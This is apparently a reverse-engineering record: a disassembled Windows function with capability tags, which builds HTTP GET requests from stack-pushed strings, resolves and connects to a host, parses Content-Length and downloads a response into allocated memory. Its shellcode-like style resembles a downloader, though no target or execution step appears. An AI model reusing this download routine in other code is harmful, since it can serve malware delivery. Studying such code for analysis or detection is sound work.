Function at 0x40e35d
Capabilities:
Act as tcp client
Check for time delay via gettickcount
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14e0
push 0xa
push 0xd244153
push 0x575f455a
push 0x494c4149
push 0x54494e49
push 0x5f4f545f
push 0x454c4241
push 0x4e555f52
push 0x4f525245
push 0x24202445
push 0x4d495424
mov dword [ebp - 0x1c], esp
push 0
push 0xa0d2454
push 0x454b434f
push 0x535f4554
push 0x41455243
push 0x5f4f545f
push 0x454c4241
push 0x4e555f52
push 0x4f525245
push 0x24202445
push 0x4d495424
mov dword [ebp - 0x18], esp
push 0
push 0xa0d2452
push 0x45565245
push 0x535f4548
push 0x545f4f54
push 0x5f544345
push 0x4e4e4f43
push 0x5f4f545f
push 0x454c4241
push 0x4e555f52
push 0x4f525245
push 0x24202445
push 0x4d495424
mov dword [ebp - 0x14], esp
push 0xa
push 0xd0a0d73
push 0x25203a74
push 0x736f480a
push 0xd302e31
push 0x2f505454
push 0x48207325
push 0x20544547
mov dword [ebp - 0x10], esp
push 0
push 0
push 0
push 0x50000002
mov dword [ebp - 0xc], esp
xor eax, eax
pushal
mov eax, dword [ebp + 0x10]
mov dword [eax], 0
mov dword [ebp - 0x14cc], 0
mov dword [ebp - 0x14c8], 0
lea eax, [ebp - 0x14b8]
push 0x190
push 0
push eax
call dword [sym.imp.ntdll.dll_memset]
add esp, 0xc
lea eax, [ebp - 0x14b8]
push eax
push 0x202
call dword [sym.imp.ws2_32.dll_WSAStartup]
cmp eax, 0
je 0x40e4ac
push dword [ebp - 0x1c]
call dword [ebx + 0x30]
mov dword [esp + 0x1c], 0xffffffff
jmp 0x40e81c
push 0
push 1
push 2
call dword [sym.imp.ws2_32.dll_socket]
cmp eax, 0xffffffff
jne 0x40e4d0
push dword [ebp - 0x18]
call dword [ebx + 0x30]
mov dword [esp + 0x1c], 0xffffffff
jmp 0x40e816
mov dword [ebp - 0x14e0], eax
push dword [ebp + 8]
call dword [sym.imp.ws2_32.dll_gethostbyname]
cmp eax, 0
jne 0x40e4f7
push dword [ebp - 0x14]
call dword [ebx + 0x30]
mov dword [esp + 0x1c], 0xffffffff
jmp 0x40e80a
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 4], eax
push 0x10
push ecx
push dword [ebp - 0x14e0]
call dword [sym.imp.ws2_32.dll_connect]
cmp eax, 0
je 0x40e52b
push dword [ebp - 0x14]
call dword [ebx + 0x30]
mov dword [esp + 0x1c], 0xffffffff
jmp 0x40e80a
lea eax, [ebp - 0x1328]
push dword [ebp + 8]
push dword [ebp + 0xc]
push dword [ebp - 0x10]
push eax
call dword [sym.imp.user32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x1328]
push eax
call dword [sym.imp.kernel32.dll_lstrlenA]
lea ecx, [ebp - 0x1328]
push 0
push eax
push ecx
push dword [ebp - 0x14e0]
call dword [sym.imp.ws2_32.dll_send]
cmp eax, 0xffffffff
jne 0x40e57f
push dword [ebp - 0x14]
call dword [ebx + 0x30]
mov dword [esp + 0x1c], 0xffffffff
jmp 0x40e80a
call dword [sym.imp.kernel32.dll_GetTickCount]
mov dword [ebp - 0x14bc], eax
mov dword [ebp - 0x14dc], 0
mov dword [ebp - 0x14d8], 0
lea eax, [ebp - 0x1224]
mov dword [ebp - 0x14d4], eax
push 0
push 0x1000
push eax
push dword [ebp - 0x14e0]
call dword [sym.imp.ws2_32.dll_recv]
cmp eax, 0
jbe 0x40e7f9
mov dword [ebp - 0x14d0], eax
cmp dword [ebp - 0x14c8], 0
jne 0x40e76e
push 0x4b4f20
push 0x30303220
push 0x312e312f
push 0x50545448
mov dword [ebp - 8], esp
xor ecx, ecx
mov edx, dword [ebp - 0x14d4]
cmp ecx, 0xf
jae 0x40e60a
mov al, byte [esp + ecx]
cmp byte [edx + ecx], al
jne 0x40e60a
inc ecx
jmp 0x40e5fa
add esp, 0x10
cmp ecx, 0xf
je 0x40e61f
mov dword [esp + 0x1c], 0xffffffff
jmp 0x40e769
mov dword [ebp - 0x14c8], 1
pushal
push 0x3a6874
push 0x676e654c
push 0x2d746e65
push 0x746e6f43
mov dword [ebp - 4], esp
xor ebx, ebx
mov dword [ebp - 0x14c4], ebx
lea esi, [ebp - 0x1224]
cmp ebx, 0x1000
jae 0x40e70c
cmp byte [esi + ebx], 0xd
jne 0x40e706
cmp byte [esi + ebx + 1], 0xa
jne 0x40e706
mov eax, dword [ebp - 0x14c4]
mov ecx, ebx
sub ecx, eax
lea eax, [eax + esi]
lea edx, [ebp - 0x224]
mov byte [edx + ecx], 0
push ecx
push eax
push edx
call dword [sym.imp.ntdll.dll_memcpy]
add esp, 0xc
lea eax, [ebp - 0x224]
lea ecx, [ebp - 0x120]
mov byte [ecx + 0xf], 0
push 0xf
push eax
push ecx
call dword [sym.imp.ntdll.dll_memcpy]
add esp, 0xc
lea eax, [ebp - 0x120]
push esp
push eax
call dword [sym.imp.kernel32.dll_lstrcmpiA]
cmp eax, 0
jne 0x40e6ef
lea eax, [ebp - 0x215]
xor edx, edx
cmp byte [eax], 0
je 0x40e6e9
movzx ecx, byte [eax]
cmp ecx, 0x30
jb 0x40e6e6
cmp ecx, 0x39
ja 0x40e6e6
sub ecx, 0x30
imul edx, edx, 0xa
lea edx, [edx + ecx]
inc eax
jmp 0x40e6cb
mov dword [ebp - 0x14dc], edx
lea eax, [ebx + 2]
mov dword [ebp - 0x14c4], eax
cmp byte [esi + ebx + 2], 0xd
jne 0x40e706
cmp byte [esi + ebx + 3], 0xa
je 0x40e70c
inc ebx
jmp 0x40e64f
add esp, 0x10
cmp dword [ebp - 0x14dc], 0
je 0x40e74d
push dword [ebp - 0x14dc]
push 0x40
call dword [sym.imp.kernel32.dll_GlobalAlloc]
mov edx, dword [ebp + 0x10]
mov dword [edx], eax
mov eax, dword [ebp - 0x14d0]
sub eax, ebx
sub eax, 4
mov dword [ebp - 0x14c0], eax
lea ecx, [esi + ebx + 4]
push eax
push ecx
push dword [edx]
call dword [sym.imp.ntdll.dll_memcpy]
add esp, 0xc
popal
cmp dword [ebp - 0x14dc], 0
je 0x40e769
mov eax, dword [ebp - 0x14c0]
cmp eax, dword [ebp - 0x14dc]
jl 0x40e59f
jmp 0x40e7f9
mov eax, dword [ebp - 0x14c0]
add eax, dword [ebp - 0x14d0]
mov ecx, eax
sub ecx, dword [ebp - 0x14d8]
shr ecx, 0xc
cmp ecx, 0
je 0x40e7be
mov dword [ebp - 0x14d8], eax
call dword [sym.imp.kernel32.dll_GetTickCount]
mov ecx, eax
sub ecx, dword [ebp - 0x14bc]
cmp ecx, 0x64
jbe 0x40e7be
mov dword [ebp - 0x14bc], eax
push 0
push 1
push 0x405
push dword [ebx + 0xd80]
call dword [sym.imp.user32.dll_SendMessageA]
mov eax, dword [ebp - 0x14d0]
lea ecx, [ebp - 0x1224]
mov edx, dword [ebp + 0x10]
mov edx, dword [edx]
add edx, dword [ebp - 0x14c0]
add dword [ebp - 0x14c0], eax
push eax
push ecx
push edx
call dword [sym.imp.ntdll.dll_memcpy]
add esp, 0xc
mov eax, dword [ebp - 0x14c0]
cmp eax, dword [ebp - 0x14dc]
jl 0x40e59f
cmp dword [ebp - 0x14dc], 0
jne 0x40e80a
mov dword [esp + 0x1c], 0xffffffff
push dword [ebp - 0x14e0]
call dword [sym.imp.ws2_32.dll_closesocket]
call dword [sym.imp.ws2_32.dll_WSACleanup]
cmp dword [esp + 0x1c], 0
je 0x40e835
mov eax, dword [ebp + 0x10]
cmp dword [eax], 0
je 0x40e833
push dword [eax]
call dword [sym.imp.kernel32.dll_GlobalFree]
jmp 0x40e840
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 0x14dc]
mov dword [eax], ecx
popal
add esp, 0x10
add esp, 0x20
add esp, 0x34
add esp, 0x2c
add esp, 0x2c
leave
ret 0x10